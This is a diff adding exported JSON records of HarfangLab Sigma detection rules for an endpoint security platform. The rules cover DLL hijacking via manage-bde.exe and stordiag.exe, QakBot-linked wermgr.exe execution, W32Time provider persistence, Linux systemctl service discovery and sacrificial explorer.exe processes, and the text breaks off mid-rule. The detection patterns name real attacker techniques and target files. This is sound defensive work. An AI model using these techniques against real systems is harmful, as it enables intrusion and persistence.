+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076754Z",
+  "creation_date": "2026-03-23T11:45:34.076756Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076760Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_manage_bde.yml",
+  "content": "title: DLL Hijacking via manage-bde.exe\nid: f4d321de-b05f-4628-bea8-6f93217fe8a4\ndescription: |\n    Detects potential Windows DLL Hijacking via manage-bde.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'manage-bde.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\profapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f4d321de-b05f-4628-bea8-6f93217fe8a4",
+  "rule_name": "DLL Hijacking via manage-bde.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via manage-bde.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f4dd90e7-abe2-4622-ba78-c21689675968",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601143Z",
+  "creation_date": "2026-03-23T11:45:34.601147Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601154Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_stordiag.yml",
+  "content": "title: DLL Hijacking via stordiag.exe\nid: f4dd90e7-abe2-4622-ba78-c21689675968\ndescription: |\n    Detects potential Windows DLL Hijacking via stordiag.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'stordiag.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\CRYPTBASE.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f4dd90e7-abe2-4622-ba78-c21689675968",
+  "rule_name": "DLL Hijacking via stordiag.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via stordiag.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f4f62a4f-220c-4330-95c3-4ffae6a2c3ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070996Z",
+  "creation_date": "2026-03-23T11:45:34.070998Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071002Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/Kostastsale/status/1570178125400776705",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_suspicious_wermgr_execution_without_commandline_args.yml",
+  "content": "title: Suspicious wermgr.exe Execution\nid: f4f62a4f-220c-4330-95c3-4ffae6a2c3ec\ndescription: |\n    Detects the suspicious execution of the legitimate Windows binary wermgr.exe without command-line arguments.\n    This technique has been used by QakBot in a September 2022 campaign in association with process hollowing.\n    It is recommended to investigate the wermgr process as well as the process tree for suspicious activities.\nreferences:\n    - https://twitter.com/Kostastsale/status/1570178125400776705\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2022/09/19\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Malware.Qakbot\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProcessTampering\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\wermgr.exe'\n        CommandLine|endswith:\n            - '\\wermgr.exe'\n            - '\\wermgr.exe '\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f4f62a4f-220c-4330-95c3-4ffae6a2c3ec",
+  "rule_name": "Suspicious wermgr.exe Execution",
+  "rule_description": "Detects the suspicious execution of the legitimate Windows binary wermgr.exe without command-line arguments.\nThis technique has been used by QakBot in a September 2022 campaign in association with process hollowing.\nIt is recommended to investigate the wermgr process as well as the process tree for suspicious activities.\n",
+  "rule_creation_date": "2022-09-19",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f5003b31-b196-4dc3-a7b0-b83b839ad76a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071440Z",
+  "creation_date": "2026-03-23T11:45:34.071442Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071446Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2019/10/22/persistence-time-providers/",
+    "https://attack.mitre.org/techniques/T1547/003/"
+  ],
+  "name": "t1547_003_persistence_time_providers.yml",
+  "content": "title: Time Provider Installed\nid: f5003b31-b196-4dc3-a7b0-b83b839ad76a\ndescription: |\n    Detects the installation of a new W32Time provider.\n    The Windows Time service (W32Time) enables time synchronization across and within domains.\n    Attackers may abuse time providers to execute DLLs when the system boots.\n    It is recommended to analyze the process responsible for the registry edit as well as to analyze the DLL pointed to by the registry key to look for malicious content or actions.\nreferences:\n    - https://pentestlab.blog/2019/10/22/persistence-time-providers/\n    - https://attack.mitre.org/techniques/T1547/003/\ndate: 2020/09/22\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.003\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        # Values seen in '*' :\n        #   - NtpClient --> %systemroot%\\system32\\w32time.dll\n        #   - NtpServer --> %systemroot%\\system32\\w32time.dll\n        #   - VMICTimeProvider --> %SystemRoot%\\System32\\vmictimeprovider.dll\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\\\*\\DllName'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_knowns:\n        TargetObject:\n            - HKLM\\SYSTEM\\CurrentControlSet\\services\\W32Time\\TimeProviders\\VMICTimeProvider\\DllName\n            - HKLM\\SYSTEM\\CurrentControlSet\\services\\W32Time\\TimeProviders\\NtpClient\\DllName\n            - HKLM\\SYSTEM\\CurrentControlSet\\services\\W32Time\\TimeProviders\\NtpServer\\DllName\n\n    exclusion_trustedinstaller:\n        Image: '?:\\windows\\servicing\\trustedinstaller.exe'\n\n    exclusion_vmware:\n        Image: '?:\\Windows\\System32\\msiexec.exe'\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\vmwTimeProvider\\DllName'\n        Details: '?:\\Program Files\\VMware\\VMware Tools\\vmwTimeProvider\\vmwTimeProvider.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f5003b31-b196-4dc3-a7b0-b83b839ad76a",
+  "rule_name": "Time Provider Installed",
+  "rule_description": "Detects the installation of a new W32Time provider.\nThe Windows Time service (W32Time) enables time synchronization across and within domains.\nAttackers may abuse time providers to execute DLLs when the system boots.\nIt is recommended to analyze the process responsible for the registry edit as well as to analyze the DLL pointed to by the registry key to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-09-22",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f5024ded-8ae8-4b3c-ab52-8ce652afecd2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.757290Z",
+  "creation_date": "2026-03-23T11:45:35.294812Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294817Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1007/",
+    "https://attack.mitre.org/techniques/T1569/"
+  ],
+  "name": "t1489_suspicious_systemd_services_discovered_via_cli.yml",
+  "content": "title: Suspicious SystemD Services Discovered via Command-line\nid: f5024ded-8ae8-4b3c-ab52-8ce652afecd2\ndescription: |\n    Detects when the systemctl command-line utility is used to discover SystemD services.\n    Adversaries may look for vulnerable services to exploit as part of their persistence or privilege escalation.\n    It is recommended to check for other suspicious activities from the process' parent.\nreferences:\n    - https://attack.mitre.org/techniques/T1007/\n    - https://attack.mitre.org/techniques/T1569/\ndate: 2023/12/15\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1007\n    - attack.execution\n    - attack.t1569\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/systemctl'\n        CommandLine|contains: ' --type=service'\n        ParentImage|contains: '?'\n        GrandparentImage|contains: '?'\n        ProcessParentImage|endswith:\n            - '/ash'\n            - '/bash'\n            - '/busybox'\n            - '/dash'\n            - '/fish'\n            - '/sh'\n            - '/tcsh'\n            - '/zsh'\n            - '/ksh'\n\n    exclusion_service_start_stop:\n        ParentCommandLine:\n            - '/bin/sh /sbin/service * start'\n            - '/bin/sh /sbin/service * stop'\n            - '/bin/sh /sbin/service * reload'\n            - '/bin/sh /usr/sbin/service * start'\n            - '/bin/sh /usr/sbin/service * stop'\n            - '/bin/sh /usr/sbin/service * reload'\n            - '/bin/sh /etc/init.d/* start'\n            - '/bin/sh /etc/init.d/* stop'\n\n    exclusion_apt_helper:\n        ParentImage: '/usr/lib/apt/apt-helper'\n\n    exclusion_snapd:\n        ParentImage:\n            - '/usr/lib/snapd/snapd'\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n\n    exclusion_invoke_rc:\n        ParentCommandLine|contains: '/usr/sbin/invoke-rc.d'\n\n    exclusion_puppet:\n        - ParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - GrandparentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_fsecure:\n        ParentImage: '/opt/f-secure/linuxsecurity/bin/statusd'\n\n    exclusion_fusioninventory:\n        - ParentCommandLine|contains: 'fusioninventory-agent'\n        - GrandparentCommandLine|contains: 'fusioninventory-agent'\n\n    exclusion_cyberwatch:\n        GrandparentCommandLine: 'python3 /usr/bin/cyberwatch-agent'\n\n    exclusion_nagios:\n        - ParentCommandLine|startswith:\n            - '/bin/bash */nagios/check_service.sh'\n            - '/bin/bash */nagios/libexec/check_etiam-nexus-services.sh'\n        - GrandparentCommandLine: '/usr/sbin/nrpe -c /etc/nagios/nrpe.cfg -f'\n\n    exclusion_xivo:\n        GrandparentCommandLine|startswith:\n            - '/bin/sh /usr/sbin/xivo-manage-slave-services'\n            - '/bin/bash /usr/sbin/xivo-manage-slave-services'\n            - '/bin/sh */bin/xivo-service'\n            - '/bin/bash */bin/xivo-service'\n\n    exclusion_monit:\n        # TODO: Replace this with Ancestors when the feature is mature-enough\n        GrandparentImage: '/opt/monit-*/bin/monit'\n\n    exclusion_alfresco:\n        ParentCommandLine|startswith: '/bin/bash /opt/alfresco/alfresco-content-monitored-startup.sh'\n\n    exclusion_openitc:\n        # php /opt/openitc/frontend/bin/cake.php cronjobs -q\n        GrandparentCommandLine|startswith: 'php /opt/openitc/frontend/bin/cake.php'\n\n    exclusion_mcafee:\n        ParentCommandLine|startswith: '/bin/sh /opt/McAfee/agent/scripts/ma '\n\n    exclusion_sendmail:\n        ParentCommandLine: '/bin/sh /usr/share/sendmail/sendmail cron-msp'\n\n    exclusion_checkpoint:\n        ParentImage: '/var/lib/checkpoint/cpla/cpla'\n        ParentCommandLine: '/usr/bin/cpla start'\n\n    exclusion_dhclient:\n        ParentCommandLine: '/bin/sh /sbin/dhclient-script'\n\n    exclusion_netplan:\n        ParentCommandLine|startswith: '/usr/bin/python3 /usr/sbin/netplan '\n\n    exclusion_landscape:\n        ParentCommandLine|startswith:\n            - '/bin/bash /opt/canonical/landscape/'\n            - '/bin/bash /etc/init.d/landscape-api'\n\n    exclusion_needrestart:\n        ParentCommandLine: '/usr/bin/perl /usr/sbin/needrestart'\n\n    exclusion_oms:\n        - ParentCommandLine|startswith:\n            - '/bin/bash /opt/microsoft/omsconfig/'\n            - '/opt/microsoft/omsagent/ruby/bin/ruby'\n        - GrandparentCommandLine|startswith:\n            - '/bin/bash /opt/microsoft/omsconfig/'\n            - '/opt/microsoft/omsagent/ruby/bin/ruby'\n\n    exclusion_pmlogger:\n        CommandLine|contains: ' pmlogger.service'\n        ParentCommandLine|startswith: '/bin/sh /usr/libexec/pcp/bin/pmlogger_daily'\n\n    exclusion_newrelic:\n        ParentImage: '/usr/bin/newrelic-infra'\n\n    exclusion_pacemaker:\n        CommandLine|startswith: '/usr/bin/python* /usr/sbin/pcs'\n\n    exclusion_wazo:\n        # CommandLine: systemctl is-active --quiet wazo-dird\n        # ParentCommandLine: /bin/bash /bin/wazo-service start\n        CommandLine|contains: ' wazo-'\n        ParentCommandLine|startswith: '/bin/bash /bin/wazo-service '\n\n    exclusion_wazuh:\n        ParentImage: '/var/ossec/bin/wazuh-modulesd'\n\n    exclusion_tanium_client:\n        # /bin/bash /opt/Tanium/TaniumClient/VB/TempUnix_139697032525568_3197036490_.sh\n        - ParentCommandLine|contains: '/opt/Tanium/TaniumClient/VB/TempUnix_'\n        - GrandparentCommandLine|contains: '/opt/Tanium/TaniumClient/VB/TempUnix_'\n        - ProcessParentCommandLine|contains: '/opt/Tanium/TaniumClient/VB/TempUnix_'\n        - ProcessGrandparentCommandLine|contains: '/opt/Tanium/TaniumClient/VB/TempUnix_'\n\n    exclusion_lynis:\n        # /bin/sh /usr/bin/lynis audit system --cronjob\n        # /bin/sh /usr/sbin/lynis audit system --cronjob\n        - ParentCommandLine|startswith:\n            - '/bin/sh ./lynis audit system '\n            - '/bin/sh /usr/bin/lynis audit system '\n            - '/bin/sh /usr/sbin/lynis audit system '\n        - GrandparentCommandLine|startswith:\n            - '/bin/sh ./lynis audit system '\n            - '/bin/sh /usr/bin/lynis audit system '\n            - '/bin/sh /usr/sbin/lynis audit system '\n\n    exclusion_check_services:\n        ParentCommandLine:\n            - '/bin/bash ./check-services'\n            - '/bin/bash /usr/bin/check-services'\n            - '/bin/bash /usr/sbin/check-services'\n        GrandparentCommandLine:\n            - '/bin/bash ./check-services'\n            - '/bin/bash /usr/bin/check-services'\n            - '/bin/bash /usr/sbin/check-services'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_qualys:\n        ProcessAncestors|contains:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n\n    exclusion_tanium:\n        ProcessParentCommandLine|startswith: '/bin/bash /opt/tanium/taniumclient/vb/tempunix_'\n        ProcessGrandparentImage: '/opt/tanium/taniumclient/taniumclient'\n\n    exclusion_paloalto:\n        GrandparentCommandLine: '/opt/paloaltonetworks/globalprotect/PanGPS'\n\n    exclusion_splunk:\n        ProcessGrandparentCommandLine: '/bin/sh /opt/splunk/etc/apps/Splunk_TA_nix/bin/service.sh'\n\n    exclusion_vagrant:\n        ProcessGrandparentCommandLine|contains: 'vagrant'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f5024ded-8ae8-4b3c-ab52-8ce652afecd2",
+  "rule_name": "Suspicious SystemD Services Discovered via Command-line",
+  "rule_description": "Detects when the systemctl command-line utility is used to discover SystemD services.\nAdversaries may look for vulnerable services to exploit as part of their persistence or privilege escalation.\nIt is recommended to check for other suspicious activities from the process' parent.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1007",
+    "attack.t1569"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f51648fc-2289-43b4-8b39-c0e753db40cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069534Z",
+  "creation_date": "2026-03-23T11:45:34.069536Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069541Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_sacrificial_explorer.yml",
+  "content": "title: Potential Sacrificial explorer.exe Spawned\nid: f51648fc-2289-43b4-8b39-c0e753db40cc\ndescription: |\n    Detects a suspicious explorer.exe spawned from rundll32 without arguments that can be used as sacrificial process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    It is recommended to check for malicious activities by the process and its parents.\nreferences:\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2021/02/18\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith:\n            - '\\windows\\system32\\rundll32.exe'\n            - '\\windows\\syswow64\\rundll32.exe'\n        Image|endswith:\n            - '\\windows\\explorer.exe'\n            - '\\windows\\syswow64\\explorer.exe'\n        CommandLine|endswith:\n            - '\\explorer.exe'\n            - '\\explorer.exe\"'\n\n    exclusion_runas:\n        # \"when a user choose to run a program as another user (right-click + shit), the process lineage will be a child of rundll32 with cmdline value like \"SHELL32.dll,RunAsNewUser_RunDLL Local\\{4ddb9f3f-700c-4bd6-9fc0-eaf85c01d25b}.\"\"\n        # https://twitter.com/sbousseaden/status/1326652574150299649\n        # C:\\windows\\system32\\RunDll32.exe C:\\windows\\system32\\SHELL32.dll,RunAsNewUser_RunDLL Local\\{4ddb9f3f-700c-4bd6-9fc0-eaf85c01d25b}.000081c8\n        ParentCommandLine|contains|all:\n            - 'RunAsNewUser_RunDLL'\n            - '4ddb9f3f-700c-4bd6-9fc0-eaf85c01d25b'\n\n    